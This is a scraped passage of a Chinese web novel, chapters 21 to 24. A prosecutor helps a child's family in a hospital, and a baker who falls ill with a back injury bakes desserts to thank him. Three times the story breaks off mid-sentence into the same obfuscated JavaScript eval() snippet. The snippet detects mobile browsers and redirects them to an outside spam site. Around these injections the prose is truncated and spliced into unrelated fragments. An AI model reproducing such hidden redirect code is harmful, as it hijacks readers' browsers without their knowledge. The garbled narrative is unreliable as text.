谭欣园住在肿瘤医院的儿童血液肿瘤科病房,今年四岁的她是整个病房里年龄最大的孩子,同屋其他两个孩子分别是三岁的叮当和一岁半的芝麻。芝麻到现在还不怎么会说话,但已经与急性髓系白血病抗争了六个月。 通过旁听杜菲和叮当、芝麻家长的聊天,沈灵均知道,芝麻的病况已经非常不乐观,所有可行的化疗方案已经均告无效,只剩下骨髓移植一条路可走。然而,芝麻并不如谭欣园一样幸运,有配型合适的同胞兄弟可以捐髓,他至今没有等到配型成功的骨髓。而且,他刚刚一岁半,身体因为久病已经十分虚弱,即便有合适的骨髓,他也很难撑过进仓。 因此,今天是芝麻在这个病房住的最后一天。 芝麻妈妈看上去大概二十七八岁,很年轻。她抱着熟睡的芝麻,红着眼道:“医生都劝我们放弃,不要让孩子再受罪了,”她看向已经泪流满面的丈夫:“我们也赞同医生的看法。从八个月到现在,孩子吃了很多苦……各种检查、穿刺,器官感染……最后的时光里,不希望他再这么疼了。” 芝麻妈妈感激地看了沈灵均一眼,她握住杜菲的手:“欣园妈妈,你这是山穷水尽之后又柳暗花明了。能遇到沈先生这样的好人,说明欣园是个有福气的孩子。欣园的病一定会好起来的。” 两个女人的手在沈灵均面前颤抖着紧紧相握。 送走芝麻一家,沈灵均也不想再在病房里待下去了。他把杜菲叫出了病房:“如果后续钱不够的话,可以再联系我。” 杜菲人未开口,眼泪先掉了下来。 沈灵均接着说:“所以,不要因为这件事再联系长乐了,也别因为长乐阻止你来找我而觉得他冷漠、对他有看法。姐,你多少年没见过长乐了?长乐这些年来一直和他爷爷奶奶相依为命,但李叔老年痴呆、瘫痪失能有一段时间了,如今许婶又出了这样的事。许婶现在还没脱离危险期,他心里很痛苦……你来医院之后有好好安慰他吗?我知道,你找上我也是无奈之举。但是你在医院闹那么一下真的让长乐很难堪、很下不来台。长乐现在正是自尊心最强的年纪。你有考虑过长乐的感受吗?” 杜菲没说话,但是越哭越凶。沈灵均移开眼神:“五个手指还分长短,一直带在身边的孩子和很久不见面的孩子,感情有深有浅,很正常,我能理解。但杜姐,下次做事,考虑一下孩子的心情和感受吧,长乐也是你的儿子。” 说到这,沈灵均顿了一下,随后道:“祝孩子早日康复。” 离开住院大楼后,沈灵均找了个垃圾桶,在旁边点了根烟。 医院大概是能让最多人觉得无力、觉得绝望的地方。沈灵均来过医院很多次,体验过这种无力与绝望很多次,但还是无法习以为常。每当这个时候,沈灵均就真心佩服起陈彦博来。 烟抽到一半,他的手机响了一声。想到谁来谁,是陈彦博的消息。 【急急国王:铁汁,下午打台球去啊】 沈灵均本来不太想去,但拒绝的话都打完了,他又觉得一个人待在家里也没意思,回了个好。 陈彦博今天穿了件紫色豹纹衬衫——虽然是很小众的组合,但这件衣服在沈灵均眼里并不难看——至少和陈彦博其他的衣服对比来看,不难看。 陈彦博一见到他就问:“你最近是不是走夜路撞到鬼了?” “怎么?” “你好像被鬼吸走了阳气。如果平时的你外貌条件有一百分,现在就只有九十五分了……啊,不过在喜欢颓废派帅哥的人眼里可能是一百一十分。” 沈灵均叹了口气:“怎么可能精神得起来啊。” “老太太还在ICU?” “嗯。昨天长乐妈妈还找来了。” 陈彦博停下了给球杆擦巧粉的手:“她来干嘛?不会是来要钱的吧?” “……不是要,是借。” “真是来要钱的啊?!” 沈灵均把事情跟陈彦博讲了一遍:“孩子的确可怜,光着头、小小一个,要是我没能力,也就算了,但我有这个能力。能帮就帮了。” “阿西,”陈彦博长出了口气:“你……我……操,这什么事啊,你这两周也是够糟心的。” 沈灵均想了想,说:“但也不是没遇到好事吧。” “什么?” “你还记不记得你约我去Resonate喝酒那天,在那唱歌的那个帅哥?” 陈彦博转了转眼珠:“哦,长得跟个女孩似的那个。” “对,”沈灵均将他和戚玉衡几次相遇的始末告诉了陈彦博:“现在他那个叔叔和长乐爷爷住在一个病房,他人特别好,他和他阿姨帮了长乐很多,他还给长乐带饭,因为有他和阿姨在,就算长乐白天一个人在医院,我也放心。他还给长乐补课来着,我看长乐听得还挺认真的。我说请他做老师,长乐也没像以前那样不同意。” 陈彦博有些奇怪地道:“等等,你不是说,他主业是面包店老板,同时身兼代驾、驻唱、外卖骑手等多职吗?” “对啊。” “我不是学历歧视啊,但是……从事上述职业的人大部分都没有特别高的学历吧?而且你说了,他已经三十岁了,也就是说,至少高中毕业十年了,他还能记得高中知识、给别人做老师吗?” “他讲课具体什么样,我不知道,但长乐说他能给他讲他不会的题。我觉得这样就够了。而且,长乐之前一直很抗拒我给他找家教,但我这次请小戚,他一反常态的什么都没说。这就让我很开心了,”说到这,沈灵均的表情有些不大自然:“至于能不能有提高、提高到什么程度……我现在很平常心,就长乐数理化那个成绩,难不成还能考得更糟糕吗?” 陈彦博笑道:“这倒是。” 陈彦博试打了一杆:“听你形容,你这个朋友真挺牛逼的,一只耳朵听不见,又毕业这么多年,还能把高中知识记得牢牢的。牛,我反正是不行,生物可能还没太大问题,但其他八科我都还给老师了。诶,你问过他没有?他上没上过大学?什么专业的。” “没聊过这方面的问题。” “那下回聊聊呗。” “不了吧。” “为什么?随口提一句的事。” “人家说,念过,介绍完自己的毕业院校之后,大概率会反问一句,‘你哪里毕业的’,我说我燕大毕业的……好像我提这个问题是为了炫耀一样;人家说,没念过,那场面就更糟了。他在做主业的同时兼职那么多项副业,家里条件八成不太好,他现在还能给长乐讲题呢,根本不像是会考不上大学的人。如果他没读大学,我猜大概率是因为家境。那我这么一问,岂不是勾起了人家的伤心事?” 陈彦博想了想,说:“行吧。你总是考虑这么多,活得累死了。” 两个人打完台球后一块吃了个饭。陈彦博今明两天连休,难得休一个整周末,自述要继续出去浪,吃过饭之后便去一家剧本杀店玩剧本杀去了。沈灵均犹豫了一番,最后还是决定去医院。 走到811门口,还没进门,沈灵均就听到何秀红在屋里说什么“找医生看看吧”,沈灵均登时心头一惊,以为是李斌出了什么事,连忙冲进病房内。随后,他发现出问题的不是李斌,而是戚玉衡。 沈灵均连忙叫护士推了一张转运床来,把戚玉衡抱了上去。因为王晖和李斌都需要人照顾,所以沈灵均没有让李长乐和何秀红跟着,自己和两个护士把戚玉衡送到了急诊诊室。急诊医生一见到戚玉衡的情况,就问:“怎么了?腰疼?有什么病史没有?” 戚玉衡答道:“有,我有腰突,得了好几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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沈灵均笑了:“我知道。跟你开玩笑呢,不用这么客气。你怎么总是这么客气?我以为我们是朋友了。” 戚玉衡看着他,脸上有些惭色:“我们当然是朋友!但是……真的很不好意思,说好给长乐补课的,可我第一天就掉链子。你再给长乐找一个新的家教吧,不要耽误长乐的学习。” “诶呀,你不用因为这个有心理负担,我昨天不是说了吗,我以前跟长乐提过给他请家教的事的,但是他都拒绝了,我是看他和你聊得来,才决定请你教他的。换人了就没这种效应了嘛。不着急的,你先养好身体再说,不用再道谢和道歉了。” 戚玉衡点点头:“……好。我、我……一个人在这里输液就可以了,你不用在这守着我,你去忙吧。” “今天周六啊,我没什么事要忙。你现在这个样子,我怎么可能放你一个人在这输液?你现在站都站不起来,一会想上厕所都不方便……对了,我需不需要租个轮椅,方便你上厕所什么的?” 戚玉衡因为忍耐疼痛而变得苍白的脸一点点地涨红了,他奋力地挥着没扎上吊针的手:“不不不,不用了,我感觉好多了,我感觉我一会就可以站得起来、可以自己走了。” 沈灵均对他的话抱有着深刻的怀疑,但他看着戚玉衡状若滴血的面庞,没有再反驳他——这是害羞了吗? 也是,虽然他们这段时间经常见面,但说到底,他们并不是多么亲密的朋友,一般人都不会想让关系不太亲近的朋友看到自己生病的样子的。 沈灵均这时回想起了自己是怎么把戚玉衡“搬运”到急救床上的:换位思考一下,如果他被一个男人公主抱了,他也会觉得有些羞耻的——但应该不会像戚玉衡这样反应这么大。 但他当时也是没办法呀,两个小护士看起来一个赛一个的瘦弱,何秀红都六十多了,李长乐是个身高一米八体重不到一百二的细狗,戚玉衡那时疼得让人不敢多动他,这四个人体力与力气都有限,比起众人七手八脚的忙活一通,他独立把戚玉衡抱到床上去显然是最合适的搬运方案。 多么正常的一个选择啊,多么自然的一个动作啊。但或许是戚玉衡窘迫的面色与神态影响到了他,沈灵均突然也有些不自在起来。 “那个……我去给你拿手机,你自己看一下点滴啊。”沈灵均于是道。 22.第 22 章 为了避免让戚玉衡更不自在,沈灵均在戚玉衡滴完点滴之后就回家了。 第二天一早,沈灵均发消息问戚玉衡道: 【Shen:你现在感觉怎么样?有好一些了吗?我去陪你拍片子吧。】 戚玉衡很快回复道: 【戚玉衡:我好多了,你不用挂念,今天已经不怎么痛了。我叔叔的病情如今已经稳定了下来,他已经可以拄着拐杖走路,生活也基本可以自理,所以我让我阿姨陪我拍片了,不用麻烦你跑一趟了,昨天真的谢谢你[玫瑰][玫瑰]】 沈灵均想了想,回复道: 【Shen:有人陪着你就好。你也不要着急给长乐补课的事,早日把身体养好才是正事。】 不用去医院,沈灵均今天决定宅在家里,好好给家里做个大扫除。他现在住的这套房子是在他被捅之后由徐锦英女士买下的,房子是两层的复式,七室三厅三卫一厨,上下两层使用面积共两百九十八平,几乎相当于一个独栋别墅。对于独居人士来说,这房子简直可以说是大得吓人,打扫难度也是地狱级别。 沈灵均有的时候会请家政全屋打扫,在不忙的时候,他也会图省钱而自己动手打扫——只限于他经常活动的几个房间。在储物间整理杂物的时候,沈灵均的目光落在了他的护肤品收纳柜上。他的护肤品都是他妈给的,大部分是芝玉公司旗下的产品,但也有不少徐锦英自费买来的大牌护肤品。 别说他只有一张脸,就算他是二皮脸三皮脸,消耗这些东西的速度也赶不上它们增加的速度。沈灵均想了想,从这些产品里拿出一个芝玉的套盒。 虽然芝玉近年来也开始进军高端线,但芝玉毕竟是个年轻的国货品牌,至今未在高端护肤品市场中探索出不错的销路,国外大牌依旧在中国的高端护肤品市场保持着高市占率,芝玉目前的利润大多来源于中低端线的营收。 平价、亲民、性价比高,是芝玉崛起的秘诀。沈灵均手中的这两个套盒是芝玉销量最高的产品,在六一八双十一这种购物节购买,一套大概也就三百多块——包括一只洗面奶一支精华一罐面霜还有一大把小样,相当划算。 何秀红这些日子也帮衬了李长乐不少,沈灵均一直都想送她个礼物以表感谢。送这个套盒,既不会太过贵重,也不会显得寒酸。沈灵均于是将这个套盒放到一边。正当他打算继续干活的时候,戚玉衡的脸突然出现在了他的脑海里。 他记得他上回近距离看戚玉衡的脸时,他皮肤有些轻微的起皮。那么完美的一张脸,要是能得到一点护理,一定会锦上添花。希望他不要觉得男人给男人送护肤品太奇怪。这么想着,沈灵均又拿了一个同套盒出来。 周一工作日,余绵绵进门后就面带歉意地跟沈灵均道:“沈哥,那个……这周我只有周一能来上班,周二到周五我都要请假,来不了了。” “我知道了,没事,你一会去跟主任说一声就行。”他们第二检察部的新主任关梁上周已经到岗。 “好,那这周就辛苦沈哥你啦。” “没事。你怎么一下子请了四天的假?有什么事要办吗?” “我爸两个月前退休了,准备和我妈一块来容州看我。” 余绵绵是北方人,家乡距离容州一千五百多公里,往返一趟很耗时,所以余绵绵一年到头也只有国庆和过年才能回家。这次她父母远道而来看她,她请假陪父母很正常。 “你父母第一次来容州吗?你可以带着他们在容州附近转转。这会正是旅游淡季,现在来不用排队看人头。” 容州是个国际化大都市,又是有名的旅游城市,辖区内有山有水,附近的广远市和武宁市也有不少风景名胜,于是每到假期,本来人口密度就高的容州更是人口爆炸,公共交通无论什么时段都是人挤人。 “……嗯。”余绵绵有些无精打采地应了一声。 沈灵均只当她是起太早还没完全开机——余绵绵经常这样。沈灵均想了想,又问:“对了,这次你父母来容州,你打算让他们和乔警官见一面吗?” 沈灵均等了五秒,没听到余绵绵的回答。于是他抬头朝余绵绵望了过去,发现余绵绵皱着眉,神情颇为恼怒。 余绵绵一拍手:“沈哥,你可问到点子上了。” “哦?” “我昨天因为这件事跟乔瑜干了一仗。” “怎么说?” “我在容州干了三年,这是我爸妈第一回来容州。因为之前我爸没退休,他和我妈的时间凑不到一块,两个人一直没有一起来过容州,总是我妈一个人来看我。现在我爸退休了,两个人好不容易能一块来容州看我一回,我就想,我和乔瑜也处了一年了,我觉得,就……感情什么的,都到位了。也不是说见父母就等于订婚啊什么的,我就是想表明一下我的态度,我对你是认真的,我想把你介绍给我的父母……您猜怎么着?乔瑜跟我反复推脱,扭扭捏捏的,总之,就是不想去!” “为什么啊?” “就因为这个干了一仗啊!他一开始跟我说他忙,这我知道啊,他这工作性质,再忙我也尊重。但是,我爸妈前前后后要在容州待六天。就是牲口,它都有喝口水的时间,他难道就抽不出一个小时跟我爸妈吃顿饭?他后来又改口了,说没做好心理准备……当我傻?当我二百五?他一个警察,面对那么多穷凶极恶的杀人犯、面对刀枪都能面不改色,见一见我爸妈就得做心理准备了?” “嗯……可能,”沈灵均自己都觉得这个理由站不住脚,话说得没什么底气:“可能他很重视你,所以总是觉得自己没准备好……” “给我气的呀。我就说,那你没准备好,我准备好了。我去见你父母得了。其实我说这话也是气话,不是非要见他父母的意思。但你猜,他跟我说什么?” “说什么?” “他、也、没、准、备、好!他故意跟我抬杠呢吧?!” 杜韵在一旁小声道:“这……乔警官应该不是那样的人。” 沈灵均听到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14582555|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 余绵绵这番话,不可谓不震惊——他清楚地记得,他去看望乔国正的时候,乔国正说乔瑜的父母、他的儿子和儿媳都已经过世了。当时乔国正和徐莲的表情,绝不像说谎。他们两位老人更没有任何在这件事上说谎的理由。 然而,听余绵绵的意思,她并不知道乔瑜的父母已经去世的事。这到底怎么回事?乔瑜为什么要在这种事上欺骗余绵绵?沈灵均心中十分疑惑。 但男女朋友之间的事,外人很容易多说多错,犹豫再三,沈灵均最终没有把真相说出来。 余绵绵继续说:“沈哥,韵韵,我现在就在想……会不会,他们家因为我不是本地的看不起我啊?据我所知,容州这边很多人介意这一点的,父母都不愿意让自家儿子女儿找外地的,尤其是找北方的。” 杜韵看了一眼沈灵均,弱弱地说:“我不知道……我也是外地的,北方的。” 如余绵绵所说,容州老一辈中的确有一些人对外地人有种排斥心理,不愿意找外地媳妇、女婿,但乔瑜不让余绵绵见自己父母的原因显然与此无关。沈灵均道:“我觉得不会的,乔警官完全没有这种想法,不是吗?你们认识的时候他就知道你是北方人了。乔警官一看就是那种特别有主见的人,不会轻易被别人左右的。” 余绵绵抓了抓头发:“反正,我很生气。我们俩谈了一年多,我还是跟他第一回生这么大的气。这件事给我一种感觉……他好像没对我认真,一点也没准备和我结婚、走更远。不然怎么会不去见我父母,又不让我去见他父母?” “但是,仔细想想我们俩这一年来的相处,我又觉得他不是那种对感情很不认真、很轻浮的人……我真的很矛盾。” 沈灵均把视线移到他贴在书立上的那张便利贴上,回想着医院里那个让他觉得无比陌生的乔瑜。 沈灵均问道:“这一年里,乔警官没有跟你提过他父母的态度吗?” “这又是一个矛盾点了,他一直跟我说,他父母很满意我,很喜欢我,说我长得很漂亮什么的……那既然很满意我很喜欢我,那为什么不让我见他们啊?所以他根本就是在糊弄我吧。” 沈灵均心头的诡异感越来越重了。 “乔警官他父母是做什么的啊?” “两个人都是工人,现在都已经退休了没,退休之前是服装厂的工人,”余绵绵说到这,耸耸肩:“虽然我讨厌冷战,但这次,他一定得主动来给我个解释,不然我就默认他也不想跟我好好处了,我们俩就完蛋。” 杜韵点点头,轻声说:“是得这样,这是原则上的问题。” 沈灵均也道:“嗯,是得让他解释清楚。” 话题到这就揭过了。 过了一会,余绵绵突然道:“对了对了,刚才就顾着说我的事了,沈哥,我今天上班的时候碰到骄阳了。她跟我说,她昨天好像在咱们院附近看到寇欣那大姐了。嗐,不管她看到的是不是真的寇大姐,沈哥,你最近这段时间都小心点吧,别再被她缠上了!” 23.第 23 章 自上周六在医院发病后,戚玉衡在家卧床休息了四天。周三的晚上,戚玉衡给牛明星发微信道: 【戚玉衡:星姐,我明天去店里。但我明天就不跟其他人一块工作了,我想单独做几种甜点,我自留一小部分,剩余的可以在外卖小程序里上架。品名如下:歌剧院、蜜桃蒙布朗、翻转苹果挞、栗子芝士蛋糕、车厘子黑森林、柠檬杏仁奶油挞、开心果奶酥纱布列、焦糖磅蛋糕、抹茶拿破仑。店里没有的原料我都买好了,明早带过去。蛋糕都用八寸方形模具做,单个切块大小8×8左右,挞类饼干类都是一炉的量,每种能出十个左右吧。】 【摘星星的人:????】 【摘星星的人:你疯了吧?你才休息几天你就来店里】 【摘星星的人:还有你要做的这都是什么你是不是忘了我们是一家平价面包店!这些产品和店里的其他东西都不搭,我怕目标客户不买账啊】 【戚玉衡:我知道,所以定价也不用太高,不用算人工,定价能覆盖原料钱就可以了。我做这些也不是用来赚钱的。最近,沈检帮了我很多忙,我想向人家表达一下感谢。我也不知道送他什么好,太贵重的东西他肯定不会收,但便宜的,人家可能看不上,我也送不出手。想来想去还是亲手做点什么最合适。他知道我是烘焙师,应该不会拒绝这种手作点心。而且明天是长乐生日,我之前答应过给他做蛋糕,不能食言的。正好,明天长乐过生日,沈检应该会来医院,我刚好把点心拿给他。】 牛明星知道沈灵均在医院帮了他,听他说点心是做给沈灵均的,便没有再反对他来店里。 于是第二天,烘焙间的操作台被一分为二,戚玉衡和其他人各做各的。在其他人完成了上午的烘焙任务时,戚玉衡这边才刚刚做完三种甜点。 于双主动道:“戚哥,我帮帮你吧,你要做的很多甜点我之前都没系统学过做法,正好跟着你学习学习。” 于双这会也已经连续工作了近四个小时,戚玉衡于是拒绝了她:“不用了又又,你歇着吧,我自己可以。从早上干到现在,你应该也挺累的。” “我可以的,真的,我不累。而且我是真想跟着哥你学学,你今天做的那几种甜点,有一半我听都没听说过,我想跟着你长长见识。” 就在戚玉衡想松口答应的时候,胡亦豪有些阴阳怪气地说道:“行了于双,还没听出戚哥的意思吗?不让你跟着就是因为你什么也不懂,怕你帮倒忙。” 于双瞪了他一眼,表情变得有点难看。戚玉衡连忙说:“怎么会?又又你要是不怕累就来帮我,我求之不得。” 在于双的帮助下,戚玉衡又做完了开心果奶酥纱布列。做好后,于双一直眼巴巴地盯着那一排纱布列。戚玉衡笑了笑:“想吃你就吃,”戚玉衡又看向其他人:“你们也来吃,随便吃的。” 许嘉璐于是也上前来,和于双各拿了一块纱布列吃了,于双吃完后道:“好吃,甜度正好!” 许嘉璐也连连称赞:“好吃,入口即化的感觉。这个奶酥也调的特别香!果然,戚哥的手艺就是最棒的。” 胡亦豪这时也走过来吃了一块,随后说:“这不就是曲奇?” 于双撇撇嘴,刚想开口,戚玉衡就道:“确实也差不多,但是做纱布列的面团不需要起筋,而是需要沙化,一般也不用低筋粉做而是用杏仁粉做,和普通黄油曲奇还是有一些区别的。” 胡亦豪之后没再说话,于双则拧过身去不再理他。于双知道今天戚玉衡做的这些甜点都是准备送给别人的,不由感叹:“做这么多复杂的甜点,真是费时又费力。要是我收到这种手作礼盒,我会感动死的。” 胡亦豪在一旁低低地笑了一声:“这不就跟折一千颗星星送给女生一样吗,看着好像废了很大的功夫,但其实实际价值没多少,收到的人大概率只会觉得不值钱、拿不出手,甚至觉得有点寒酸。反正如果是我,宁愿要五百块钱购物卡,也不愿意要什么甜点礼盒。” 这话很不中听,一直埋头玩手机的杨金泽听完都抬头看了看胡亦豪。 于双忍不住道:“胡亦豪,你什么意思啊?人家又不是要送给你。” “我说错了吗?这东西多不实在啊?要是想表达点感谢,送点实际的多好?”胡亦豪看向戚玉衡:“戚哥,这是我真心话。你做的这些玩意,中看不中吃,也就看个样子。” 胡亦豪是牛明星的表弟,戚玉衡不愿和他产生冲突,因此也不跟他争:“我明白你的意思,我只是觉得送这些对方收下的可能性比较大。” 于双冷着脸在一旁反驳道:“什么叫中看不中吃?你刚才没吃?不好吃?你知不知道同类的甜点那些大甜品店要多少钱?我在市中心吃过一家网红法甜店,我和我朋友两个人要了两杯咖啡、三块甜点,一共花了三百八,戚哥做的这些甜点市面上卖的少、样式还复杂,五百还真买不下来。” 胡亦豪不说话了。 于双看他偃旗息鼓,肚子里的火慢慢消了下去,她问戚玉衡道:“戚哥,你要送的人是男生还是女生啊?” “男生,”戚玉衡动作一顿:“……就是我遇到的那个,很帅,让我以为是明星的人。” “诶!!”许嘉璐道:“就是戚哥你说比你还帅的那个人?你们现在认识了?” “对,”戚玉衡从围裙里拿出手机:“这回我有他照片了。” 戚玉衡找出那张援藏检察官合照,把沈灵均指给许嘉璐和于双看:“就是他。” 于双发出一声尖锐爆鸣:“我草,我草,我草嘞!真帅!这种照片里都能这么帅,站到他身边也太惨了,整个人都被显得很潦草。” 许嘉璐不断点头:“确实好帅!怪不得戚哥会觉得他是明星……” 胡亦豪也有些好奇地凑了上来,在他看清照片后,戚玉衡清楚地看见他的嘴反复开合了好几次,最后估计是没挑出什么毛病,没说话。 牛明星在这个时候走进了烘焙间:“你们看什么呢?” 于双答道:“看帅哥!星姐你看过了吗?戚哥偶遇的那个超级大帅哥。” “啊,我看过了。” 于双一脸痛心:“姐,那你怎么不分享给我们一下!我居然才看到大帅哥庐山真面目……”于双说到这,又看向戚玉衡:“对了哥,你不是和他只是偶遇吗?现在怎么连照片都有了?还有,我看他身后那PPT写着什么检察院、援藏,他是检察官?” 戚玉衡没有详细解释:“对。我的一个叔叔和他的叔叔住在同一个病房,很巧。他帮了我很多忙,所以想送他点什么感谢他。” “哦——”于双又去看那张照片:“唔姆,他好高,身材也很好的样子。” 戚玉衡笑着点点头:“嗯,他应该有一八七一八八的样子。他身材确实很好,肯定有在健身。对了,他是燕城大学毕业的,是学霸。” 牛明星闻言,眉头动了动,不动声色地观察着戚玉衡的表情。 “什么!我第一次看到活着的燕城大学毕业生!戚哥,他有女朋友吗?” 牛明星感觉戚玉衡的笑容僵硬了一瞬:“没有。同病房其他病友家属问过,他说没有。” “啊,”于双摸着自己的一边脸:“长得好身材好工作好学历高,什么小说男主走进现实。” 戚玉衡又补充道:“是的,他真的就像偶像剧的男主角一样。他经济状况也很好哦,我送……他住的楼盘是全市最贵的楼盘之一了。” “我的妈……我酸了我仇富了我草。怎么会有人命这么好啊,天选之子,一出生就站在人生终点线了,好想过这样的人生啊……他以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14597161|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肯定会找个顶级白富美做女朋友吧。” 胡亦豪这时来了一句:“反正肯定不会找你这样的。” 牛明星立刻骂道:“胡亦豪,你不会说话就闭嘴。” 于双刚才还洋溢着笑容的脸立刻垮了下来,她道:“就你有嘴啊?显着你了?用你说?” 胡亦豪耸耸肩:“不是,我不是你以为的那个意思。不是说你不好,我的意思是,他一个公务员,却住在一平米十几、二十几万的地方,你想想,他哪来的那么多钱啊?我看啊,他身上八成有点猫腻,和他搞在一块的也都不能干净。所以我才说他才不会找你呢。” 戚玉衡脸上的笑容彻底消失了。他绷着脸:“亦豪,你不要一张口就是造谣行吗?” 胡亦豪理直气壮:“我怎么就造谣了,我这猜测很合理好吧,我说的不对吗?他一个年轻公务员,一个月挣再多能有多少?一年都买不起那些好地段哪怕一平米的房子吧?” 戚玉衡刚想开口解释,就听于双冷笑一声:“哈,酸的你,说不定人家是个富二代呢?怎么了,看不惯别人又高又帅又有文化又有钱呗?我也看不惯,但我坦白,我就是嫉妒、就是酸,这又不丢人。总比有人暗戳戳地嫉妒强。” 看胡亦豪还想说话,戚玉衡语气颇为冷淡地说:“行了亦豪。星姐说得对,亦豪你如果不会说话,就不要再说话了。” 胡亦豪脸上有些挂不住,轻轻地嘁了一声:“随口一说,你们这么认真干嘛?于双你跟他甚至都不认识。闹什么脾气?” 说完,胡亦豪就转身走出了烘焙间。 因为胡亦豪这么一打岔,烘焙间的气氛一下子冷了下来,一时之间,烘焙间只剩下戚玉衡工作的声音。 过了一会,戚玉衡把翻转苹果塔的塔汀送进烤箱,随后拿着已经冷冻好的歌剧院蛋糕去裱花间做淋面。牛明星跟在他身后一起进了裱花间。 把门关上后,牛明星问:“你腰怎么样?上午站了这么久,能行吗?” “还好,有一点疼,没什么大事。我今天去医院给长乐过完生日我就回家,之后还得再歇几天,不好意思。因为我还要再打几天点滴。” “小事。医生怎么说啊?感觉你这次犯病比前几次都要严重。” 戚玉衡把甘纳许淋到蛋糕上:“就还是保守治疗呗,医生有给我开口服药和止痛贴。他有说我可以手术,但我不想手术。” “手术?开刀吗?要是能治好,你就做这个手术呗。” “就是因为不一定能治好才不手术的,这个手术并不能百分百治愈腰突,医生跟我说了,即使手术,之后也存在着复发的可能。而且我这个状况,虽然犯病的时候看着挺严重的,但是挺过急性期感觉就还好,不怎么影响生活,在腰突患者里,我的情况不算差。我在医院输液这几天,看到了好多情况严重到只能手术的患者,保守治疗了好几个月疼痛都没办法缓解,睡不着觉走不了路……跟他们比起来我真的是超级幸运儿。” 牛明星哦了一声,手指下意识地在裱花台上点了几下,她道:“你对这个沈先生,有感觉啊。” 戚玉衡正专心给蛋糕抹淋面,没反应过来:“沈检?什么感觉?” 牛明星啧了一声 ,竖起两个大拇指弯了弯:“就是这方面的感觉啊!” 戚玉衡手上的抹刀顿时一歪。他心疼地嘶了一声,连忙做出补救,才让淋面避免了不光滑的命运。 戚玉衡一本正经地说:“没有那方面的感觉。就算我是个同性恋,我和男性之间也是存在着着纯友谊的。” 牛明星意味不明地哼了一声:“是吗。” “是,是,是。你不要这个表情啊,满脸都写着不信……我对他真没感觉。” 戚玉衡转动着手里的蛋糕:“……真没有。” 24.第 24 章 把九种甜点和李长乐的生日蛋糕都做完,戚玉衡将它们仔细包装好、装进礼盒,又回家做了晚饭,随后马不停蹄地赶到了医院。在住院部的电梯里,戚玉衡再次见到了乔瑜。 住院楼的电梯不像是门诊楼电梯那样,无论何时都是人满为患,电梯里除了他和乔瑜外只有两个人。这两个人分别在三楼和四楼下了电梯,电梯内于是只剩下他们两个。戚玉衡小心翼翼地觑着乔瑜的脸色,发现他此时面无表情,神色算得上平和。于是便大着胆子说:“我今天来医院不是想来打扰爷爷奶奶,是因为我有熟人在这里住院。” 乔瑜惜字如金地道:“嗯。” 竟然没有无视他。也没呛他。戚玉衡犹豫了两秒,随后继续问道:“爷爷的手术做完了吗?怎么样?” 乔瑜回答了他:“做完了。还不错。” 电梯到了。 乔瑜先走了出去,戚玉衡跟在他后面,走得很慢,两个人之间的距离很快便拉开了。等乔瑜走进807,戚玉衡才加快了步速。 李长乐看到他来,很是惊讶:“戚哥你怎么……” 看到他手上的蛋糕,李长乐顿时什么都明白了。 戚玉衡把手里的蛋糕和餐盒提起来:“答应过你要给你过生日的嘛,我今天做了很多好菜。” 何秀红听到戚玉衡的话,站了起来:“诶呀,长乐今天过生日吗?十八岁生日吗?” 李长乐有些不好意思地点点头,他看向戚玉衡:“戚哥,你不用特意来一趟的,你现在应该在家卧床休息。” 戚玉衡把餐盒的盖子一个一个打开:“我是躺得受不了了才出门的,平时休息的时候,躺着觉得舒服。但被迫躺着,就觉得怪难受的,而且十八岁生日很特殊的,我想来陪你过。” 李长乐红着眼眶笑了一下,随后用轻快的语气说道:“戚哥,我跟你说,今天医生告诉我,如果不出意外的话,明天我奶奶就可以从ICU转入普通病房了,正好,”李长乐看向一直注意着他们这边动静的张桂芝:“娄叔明天出院,奶奶正好可以转到这个病房来,这样我照顾起来也方便。还有,爷爷的肺部感染情况也好多了,这周末说不定就可以出院了。” 戚玉衡也很高兴:“这应该是你最好的生日礼物了吧。” 戚玉衡把李斌的病床摇了起来,把桌子支到他身前,将蛋糕和饭菜都放了上去。戚玉衡在蛋糕上插上数字蜡烛,点燃蜡烛后,戚玉衡和李斌道:“爷爷,你看,你孙子今天十八岁了,成年了,你今天高不高兴?” 这个问题注定得不到回答。李斌眨着一双浑浊的眼,面无表情地看向戚玉衡。一旁的李长乐早已习惯了他的身体状况,也并不失望,他握住了李斌的手:“爷爷,明天就能见到奶奶了。你开不开心?我们一起吹蜡烛好不好?” 在戚玉衡和何秀红合唱的生日快乐歌中,李长乐吹灭了他的生日蜡烛。吹灭蜡烛后,李长乐转动着托着蛋糕的纸托,道:“戚哥,你这个蛋糕,做的我都不舍得吃了。” 李长乐当时选蛋糕样式的时候,将小红书上一个日照金山模样的蛋糕图发给了戚玉衡。那个蛋糕看着就很难做,小红书上的图又存在着失真的可能,所以李长乐不认为戚玉衡能把这个蛋糕完全还原出来。然而,戚玉衡今天带来的这个蛋糕和那张图上的蛋糕可以说是一模一样。 